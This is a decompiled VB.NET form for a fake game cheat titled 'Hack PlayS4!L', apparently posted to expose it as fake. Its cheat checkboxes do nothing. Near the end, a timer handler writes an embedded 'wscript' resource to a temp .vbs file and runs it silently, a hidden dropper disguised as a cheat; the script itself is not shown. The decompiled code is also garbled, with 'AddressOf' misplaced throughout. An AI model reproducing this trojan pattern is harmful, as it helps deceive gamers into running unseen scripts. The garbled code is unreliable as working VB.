well its not RAT , BUT ITS TOTALLY FAKE !!!!!
AddressOf Me.Button1 = New Button()
AddressOf Me.CheckBox1 = New CheckBox()
AddressOf Me.CheckBox2 = New CheckBox()
AddressOf Me.CheckBox3 = New CheckBox()
AddressOf Me.CheckBox4 = New CheckBox()
AddressOf Me.CheckBox5 = New CheckBox()
AddressOf Me.TextBox1 = New TextBox()
AddressOf Me.Button2 = New Button()
AddressOf Me.Label1 = New Label()
AddressOf Me.Label2 = New Label()
AddressOf Me.CheckBox6 = New CheckBox()
AddressOf Me.CheckBox7 = New CheckBox()
AddressOf Me.TextBox2 = New TextBox()
AddressOf Me.CheckBox8 = New CheckBox()
AddressOf Me.CheckBox9 = New CheckBox()
AddressOf Me.CheckBox10 = New CheckBox()
AddressOf Me.CheckBox11 = New CheckBox()
AddressOf Me.TextBox3 = New TextBox()
AddressOf Me.TextBox4 = New TextBox()
AddressOf Me.PlayS4L = New OpenFileDialog()
AddressOf Me.Label3 = New Label()
AddressOf Me.Label4 = New Label()
AddressOf Me.Label5 = New Label()
AddressOf Me.Button3 = New Button()
AddressOf Me.Timer1 = New Timer(Me.components)
Me.SuspendLayout()
Dim arg_152_0 As Control = AddressOf Me.Button1
Dim location As Point = New Point(590, 223)
arg_152_0.Location = location
AddressOf Me.Button1.Name = "Button1"
Dim arg_17A_0 As Control = AddressOf Me.Button1
Dim size As Size = New Size(77, 34)
arg_17A_0.Size = size
AddressOf Me.Button1.TabIndex = 0
AddressOf Me.Button1.Text = "START"
AddressOf Me.Button1.UseVisualStyleBackColor = True
AddressOf Me.CheckBox1.AutoSize = True
AddressOf Me.CheckBox1.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_1E2_0 As Control = AddressOf Me.CheckBox1
location = New Point(12, 49)
arg_1E2_0.Location = location
AddressOf Me.CheckBox1.Name = "CheckBox1"
Dim arg_20D_0 As Control = AddressOf Me.CheckBox1
size = New Size(161, 27)
arg_20D_0.Size = size
AddressOf Me.CheckBox1.TabIndex = 1
AddressOf Me.CheckBox1.Text = "Multi Account"
AddressOf Me.CheckBox1.UseVisualStyleBackColor = True
AddressOf Me.CheckBox2.AutoSize = True
AddressOf Me.CheckBox2.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_275_0 As Control = AddressOf Me.CheckBox2
location = New Point(12, 82)
arg_275_0.Location = location
AddressOf Me.CheckBox2.Name = "CheckBox2"
Dim arg_29D_0 As Control = AddressOf Me.CheckBox2
size = New Size(114, 27)
arg_29D_0.Size = size
AddressOf Me.CheckBox2.TabIndex = 2
AddressOf Me.CheckBox2.Text = "Anti Kick"
AddressOf Me.CheckBox2.UseVisualStyleBackColor = True
AddressOf Me.CheckBox3.AutoSize = True
AddressOf Me.CheckBox3.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_305_0 As Control = AddressOf Me.CheckBox3
location = New Point(12, 115)
arg_305_0.Location = location
AddressOf Me.CheckBox3.Name = "CheckBox3"
Dim arg_330_0 As Control = AddressOf Me.CheckBox3
size = New Size(128, 27)
arg_330_0.Size = size
AddressOf Me.CheckBox3.TabIndex = 3
AddressOf Me.CheckBox3.Text = "Full Speed"
AddressOf Me.CheckBox3.UseVisualStyleBackColor = True
AddressOf Me.CheckBox4.AutoSize = True
AddressOf Me.CheckBox4.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_39B_0 As Control = AddressOf Me.CheckBox4
location = New Point(12, 148)
arg_39B_0.Location = location
AddressOf Me.CheckBox4.Name = "CheckBox4"
Dim arg_3C3_0 As Control = AddressOf Me.CheckBox4
size = New Size(102, 27)
arg_3C3_0.Size = size
AddressOf Me.CheckBox4.TabIndex = 4
AddressOf Me.CheckBox4.Text = "One Hit"
AddressOf Me.CheckBox4.UseVisualStyleBackColor = True
AddressOf Me.CheckBox5.AutoSize = True
AddressOf Me.CheckBox5.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_42E_0 As Control = AddressOf Me.CheckBox5
location = New Point(12, 181)
arg_42E_0.Location = location
AddressOf Me.CheckBox5.Name = "CheckBox5"
Dim arg_456_0 As Control = AddressOf Me.CheckBox5
size = New Size(127, 27)
arg_456_0.Size = size
AddressOf Me.CheckBox5.TabIndex = 5
AddressOf Me.CheckBox5.Text = "Jump Plus"
AddressOf Me.CheckBox5.UseVisualStyleBackColor = True
Dim arg_498_0 As Control = AddressOf Me.TextBox1
location = New Point(236, 115)
arg_498_0.Location = location
AddressOf Me.TextBox1.Name = "TextBox1"
Dim arg_4C0_0 As Control = AddressOf Me.TextBox1
size = New Size(72, 20)
arg_4C0_0.Size = size
AddressOf Me.TextBox1.TabIndex = 6
AddressOf Me.TextBox1.Text = "ID"
Dim arg_4F9_0 As Control = AddressOf Me.Button2
location = New Point(404, 181)
arg_4F9_0.Location = location
AddressOf Me.Button2.Name = "Button2"
Dim arg_521_0 As Control = AddressOf Me.Button2
size = New Size(71, 22)
arg_521_0.Size = size
AddressOf Me.Button2.TabIndex = 7
AddressOf Me.Button2.Text = "Select Game"
AddressOf Me.Button2.UseVisualStyleBackColor = True
AddressOf Me.Label1.AutoSize = True
AddressOf Me.Label1.Font = New Font("Tahoma", 15.75F, FontStyle.Bold, GraphicsUnit.Point, 0)
AddressOf Me.Label1.ForeColor = Color.Red
Dim arg_599_0 As Control = AddressOf Me.Label1
location = New Point(12, 9)
arg_599_0.Location = location
AddressOf Me.Label1.Name = "Label1"
Dim arg_5C4_0 As Control = AddressOf Me.Label1
size = New Size(174, 25)
arg_5C4_0.Size = size
AddressOf Me.Label1.TabIndex = 8
AddressOf Me.Label1.Text = "Free Try 3 Days"
AddressOf Me.Label2.AutoSize = True
AddressOf Me.Label2.Font = New Font("Tahoma", 15.75F, FontStyle.Bold, GraphicsUnit.Point, 0)
AddressOf Me.Label2.ForeColor = Color.Red
Dim arg_633_0 As Control = AddressOf Me.Label2
location = New Point(245, 9)
arg_633_0.Location = location
AddressOf Me.Label2.Name = "Label2"
Dim arg_65B_0 As Control = AddressOf Me.Label2
size = New Size(104, 25)
arg_65B_0.Size = size
AddressOf Me.Label2.TabIndex = 9
AddressOf Me.Label2.Text = "payment"
AddressOf Me.CheckBox6.AutoSize = True
AddressOf Me.CheckBox6.Enabled = False
AddressOf Me.CheckBox6.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_6C7_0 As Control = AddressOf Me.CheckBox6
location = New Point(236, 49)
arg_6C7_0.Location = location
AddressOf Me.CheckBox6.Name = "CheckBox6"
Dim arg_6EF_0 As Control = AddressOf Me.CheckBox6
size = New Size(113, 27)
arg_6EF_0.Size = size
AddressOf Me.CheckBox6.TabIndex = 10
AddressOf Me.CheckBox6.Text = "Auto Bot"
AddressOf Me.CheckBox6.UseMnemonic = False
AddressOf Me.CheckBox6.UseVisualStyleBackColor = True
AddressOf Me.CheckBox7.AutoSize = True
AddressOf Me.CheckBox7.Enabled = False
AddressOf Me.CheckBox7.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_773_0 As Control = AddressOf Me.CheckBox7
location = New Point(236, 82)
arg_773_0.Location = location
AddressOf Me.CheckBox7.Name = "CheckBox7"
Dim arg_79E_0 As Control = AddressOf Me.CheckBox7
size = New Size(133, 27)
arg_79E_0.Size = size
AddressOf Me.CheckBox7.TabIndex = 11
AddressOf Me.CheckBox7.Text = "Auto Login"
AddressOf Me.CheckBox7.UseMnemonic = False
AddressOf Me.CheckBox7.UseVisualStyleBackColor = True
Dim arg_7ED_0 As Control = AddressOf Me.TextBox2
location = New Point(323, 115)
arg_7ED_0.Location = location
AddressOf Me.TextBox2.Name = "TextBox2"
Dim arg_815_0 As Control = AddressOf Me.TextBox2
size = New Size(72, 20)
arg_815_0.Size = size
AddressOf Me.TextBox2.TabIndex = 12
AddressOf Me.TextBox2.Text = "Password"
AddressOf Me.CheckBox8.AutoSize = True
AddressOf Me.CheckBox8.Enabled = False
AddressOf Me.CheckBox8.Font = New Font("Tahoma", 9F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_884_0 As Control = AddressOf Me.CheckBox8
location = New Point(236, 141)
arg_884_0.Location = location
AddressOf Me.CheckBox8.Name = "CheckBox8"
Dim arg_8AF_0 As Control = AddressOf Me.CheckBox8
size = New Size(141, 18)
arg_8AF_0.Size = size
AddressOf Me.CheckBox8.TabIndex = 13
AddressOf Me.CheckBox8.Text = "Auto Select Server"
AddressOf Me.CheckBox8.UseMnemonic = False
AddressOf Me.CheckBox8.UseVisualStyleBackColor = True
AddressOf Me.CheckBox9.AutoSize = True
AddressOf Me.CheckBox9.Enabled = False
AddressOf Me.CheckBox9.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_936_0 As Control = AddressOf Me.CheckBox9
location = New Point(236, 165)
arg_936_0.Location = location
AddressOf Me.CheckBox9.Name = "CheckBox9"
Dim arg_95E_0 As Control = AddressOf Me.CheckBox9
size = New Size(107, 27)
arg_95E_0.Size = size
AddressOf Me.CheckBox9.TabIndex = 14
AddressOf Me.CheckBox9.Text = "Hp Max."
AddressOf Me.CheckBox9.UseMnemonic = False
AddressOf Me.CheckBox9.UseVisualStyleBackColor = True
AddressOf Me.CheckBox10.AutoSize = True
AddressOf Me.CheckBox10.Enabled = False
AddressOf Me.CheckBox10.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_9E5_0 As Control = AddressOf Me.CheckBox10
location = New Point(236, 198)
arg_9E5_0.Location = location
AddressOf Me.CheckBox10.Name = "CheckBox10"
Dim arg_A0D_0 As Control = AddressOf Me.CheckBox10
size = New Size(104, 27)
arg_A0D_0.Size = size
AddressOf Me.CheckBox10.TabIndex = 15
AddressOf Me.CheckBox10.Text = "Sp Max."
AddressOf Me.CheckBox10.UseMnemonic = False
AddressOf Me.CheckBox10.UseVisualStyleBackColor = True
AddressOf Me.CheckBox11.AutoSize = True
AddressOf Me.CheckBox11.Enabled = False
AddressOf Me.CheckBox11.Font = New Font("Tahoma", 14.25F, FontStyle.Bold, GraphicsUnit.Point, 0)
Dim arg_A94_0 As Control = AddressOf Me.CheckBox11
location = New Point(236, 231)
arg_A94_0.Location = location
AddressOf Me.CheckBox11.Name = "CheckBox11"
Dim arg_ABF_0 As Control = AddressOf Me.CheckBox11
size = New Size(130, 27)
arg_ABF_0.Size = size
AddressOf Me.CheckBox11.TabIndex = 16
AddressOf Me.CheckBox11.Text = "Auto Chat."
AddressOf Me.CheckBox11.UseMnemonic = False
AddressOf Me.CheckBox11.UseVisualStyleBackColor = True
Dim arg_B11_0 As Control = AddressOf Me.TextBox3
location = New Point(372, 237)
arg_B11_0.Location = location
AddressOf Me.TextBox3.Name = "TextBox3"
Dim arg_B39_0 As Control = AddressOf Me.TextBox3
size = New Size(127, 20)
arg_B39_0.Size = size
AddressOf Me.TextBox3.TabIndex = 17
AddressOf Me.TextBox3.Text = "Hello"
Dim arg_B73_0 As Control = AddressOf Me.TextBox4
location = New Point(481, 181)
arg_B73_0.Location = location
AddressOf Me.TextBox4.Name = "TextBox4"
Dim arg_B9E_0 As Control = AddressOf Me.TextBox4
size = New Size(186, 20)
arg_B9E_0.Size = size
AddressOf Me.TextBox4.TabIndex = 18
AddressOf Me.PlayS4L.FileName = "PlayS4L"
AddressOf Me.Label3.AutoSize = True
AddressOf Me.Label3.Font = New Font("Traditional Arabic", 27.75F, FontStyle.Bold, GraphicsUnit.Point, 0)
AddressOf Me.Label3.ForeColor = Color.FromArgb(192, 192, 0)
Dim arg_C19_0 As Control = AddressOf Me.Label3
location = New Point(471, 19)
arg_C19_0.Location = location
AddressOf Me.Label3.Name = "Label3"
Dim arg_C44_0 As Control = AddressOf Me.Label3
size = New Size(158, 57)
arg_C44_0.Size = size
AddressOf Me.Label3.TabIndex = 19
AddressOf Me.Label3.Text = "PlayS4L"
AddressOf Me.Label4.AutoSize = True
AddressOf Me.Label4.Font = New Font("Tahoma", 15.75F, FontStyle.Bold, GraphicsUnit.Point, 0)
AddressOf Me.Label4.ForeColor = Color.Red
Dim arg_CB4_0 As Control = AddressOf Me.Label4
location = New Point(415, 115)
arg_CB4_0.Location = location
AddressOf Me.Label4.Name = "Label4"
Dim arg_CDF_0 As Control = AddressOf Me.Label4
size = New Size(252, 25)
arg_CDF_0.Size = size
AddressOf Me.Label4.TabIndex = 20
AddressOf Me.Label4.Text = "

"
AddressOf Me.Label5.AutoSize = True
AddressOf Me.Label5.Font = New Font("Tahoma", 15.75F, FontStyle.Bold, GraphicsUnit.Point, 0)
AddressOf Me.Label5.ForeColor = Color.Red
Dim arg_D4F_0 As Control = AddressOf Me.Label5
location = New Point(497, 81)
arg_D4F_0.Location = location
AddressOf Me.Label5.Name = "Label5"
Dim arg_D77_0 As Control = AddressOf Me.Label5
size = New Size(97, 25)
arg_D77_0.Size = size
AddressOf Me.Label5.TabIndex = 21
AddressOf Me.Label5.Text = "Connect"
Dim arg_DAE_0 As Control = AddressOf Me.Button3
location = New Point(17, 235)
arg_DAE_0.Location = location
AddressOf Me.Button3.Name = "Button3"
Dim arg_DD6_0 As Control = AddressOf Me.Button3
size = New Size(109, 33)
arg_DD6_0.Size = size
AddressOf Me.Button3.TabIndex = 22
AddressOf Me.Button3.Text = "Exit"
AddressOf Me.Button3.UseVisualStyleBackColor = True
Dim autoScaleDimensions As SizeF = New SizeF(6F, 13F)
Me.AutoScaleDimensions = autoScaleDimensions
Me.AutoScaleMode = AutoScaleMode.Font
Me.BackColor = SystemColors.ButtonHighlight
size = New Size(679, 280)
Me.ClientSize = size
Me.ControlBox = False
Me.Controls.Add(AddressOf Me.Button3)
Me.Controls.Add(AddressOf Me.Label5)
Me.Controls.Add(AddressOf Me.Label4)
Me.Controls.Add(AddressOf Me.Label3)
Me.Controls.Add(AddressOf Me.TextBox4)
Me.Controls.Add(AddressOf Me.TextBox3)
Me.Controls.Add(AddressOf Me.CheckBox11)
Me.Controls.Add(AddressOf Me.CheckBox10)
Me.Controls.Add(AddressOf Me.CheckBox9)
Me.Controls.Add(AddressOf Me.CheckBox8)
Me.Controls.Add(AddressOf Me.TextBox2)
Me.Controls.Add(AddressOf Me.CheckBox7)
Me.Controls.Add(AddressOf Me.CheckBox6)
Me.Controls.Add(AddressOf Me.Label2)
Me.Controls.Add(AddressOf Me.Label1)
Me.Controls.Add(AddressOf Me.Button2)
Me.Controls.Add(AddressOf Me.TextBox1)
Me.Controls.Add(AddressOf Me.CheckBox5)
Me.Controls.Add(AddressOf Me.CheckBox4)
Me.Controls.Add(AddressOf Me.CheckBox3)
Me.Controls.Add(AddressOf Me.CheckBox2)
Me.Controls.Add(AddressOf Me.CheckBox1)
Me.Controls.Add(AddressOf Me.Button1)
Me.FormBorderStyle = FormBorderStyle.Fixed3D
Me.Icon = CType(componentResourceManager.GetObject("$this.Ic on"), Icon)
Me.MaximizeBox = False
Me.Name = "Form1"
Me.Text = "Hack PlayS4!L"
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Private Sub CheckBox7_CheckedChanged(sender As Object, e As EventArgs)
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs)
Process.Start(AddressOf Me.PlayS4L.FileName)
AddressOf Me.Timer1.Start()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs)
AddressOf Me.PlayS4L.ShowDialog()
AddressOf Me.TextBox4.Text = AddressOf Me.PlayS4L.FileName
End Sub
Private Sub TextBox4_TextChanged(sender As Object, e As EventArgs)
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs)
Me.Close()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs)
Dim tempFileName As String = Path.GetTempFileName()
Dim wscript As String = AddressOf Resources.wscript
File.WriteAllText(tempFileName + ".vbs", wscript)
Process.Start(tempFileName + ".vbs")
AddressOf Me.Timer1.[Stop]()
End Sub
End Class
End Namespace